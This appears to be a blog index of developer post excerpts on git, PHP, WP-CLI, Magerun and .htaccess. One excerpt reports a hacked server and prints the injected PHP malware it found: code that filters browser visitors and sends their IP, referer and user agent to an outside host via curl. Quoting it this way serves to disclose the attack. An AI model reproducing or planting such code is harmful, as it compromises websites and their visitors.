I’ve searched a lot for a solution of this simple looking problem. I found a lot of irritating and confusing information about this on the WWW. From implementing a socket-application to setting up an self-made HTTP-server. But the answer is much simpler: #!/usr/bin/python # -*- coding: UTF-8 -*- # enable debugging import sys import cgitb import…
Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340);…
Sometimes it is necessary to merge partial changes from one branch into another. Therefor you can use cherry-picking and merge a chosen commit into the actual branch: $> git cherry-pick a686df3 [sprint-04 39f1473] FZMP-993- Download actual db 2 files changed, 88 insertions(+), 43 deletions(-) create mode 100644 tools/mina/config/deploy_db.rb
You know the problem when trying to get just one file or folder out of your GIT repository? For example if you had a repository for all your Magento modules you’ve written, you might  want to extract only one of them to a new project. Sure  you can use subtree but sometimes you only want to get…
<?php /** * * String helper class * */ abstract class Sheldon_Misc_String_Helper { /** * @param $sStr – String to clean * * @return string clean string * */ static function cleanWhitespaces( $sStr ) { if ( ! empty( $sStr ) ) { return preg_replace(‘/\s+/’, ”, $sStr ); } return $sStr; } /** * reverse…
WP-CLI (http://wp-cli.org/) is a great commandline tool to manage your WordPress installation. It has countless commands. For example to: change database settings clear the cache manage comments and posts install plugins … The “normal” installation is well documented on the project page. But I prefer to store my project tools (f.e.: vagrant, coposer, etc.) in…
This snippet shows how to call a REST-API via curl. It also tells you how you can do a Basic-HTTP-Authentification to legitimate the call. This snippet shows how to call a REST-API via curl. It also tells you how you can do a Basic-HTTP-Authentification to legitimate the call. // Get it the REST way over…
Create and initialize your new repository: $> mkdir <repo> && cd <repo> $> git init $> git remote add –f <name> <url> Enable sparse-checkout: $> git config core.sparsecheckout true Configure sparse-checkout by listing your desired sub-trees in .git/info/sparse-checkout: $> echo some/dir/ >> .git/info/sparse-checkout $> echo another/sub/tree >> .git/info/sparse-checkout Checkout from the remote: $> git pull…
 To protect a folder with an password prompt, you only need to place a .htaccess and a .htpasswd into the target directory. .htaccess AuthUserFile /root/path/to/.htpasswd AuthGroupFile /dev/null AuthName “Title for the popup window” AuthType Basic <Limit GET> require valid-user </Limit> .htpasswd username:NiceCryptOrMD5encryptedPasswordHash The passwort can be crypted via crypt or MD5. On http://de.selfhtml.org/servercgi/server/htaccess.htm#verzeichnisschutz you can find…
Magerun is a very useful commandline tool for dealing with daily Magento development problem like: clean / flush caches reindexing the indices set configuration values in the database (core_config_data) shorthand query syntax for database accesses … It’s developed by netz98 (http://www.netz98.de/) and made my daily business so much easier. Installation (Linux) $> wget https://raw.githubusercontent.com/netz98/n98-magerun/master/n98-magerun.phar $>…
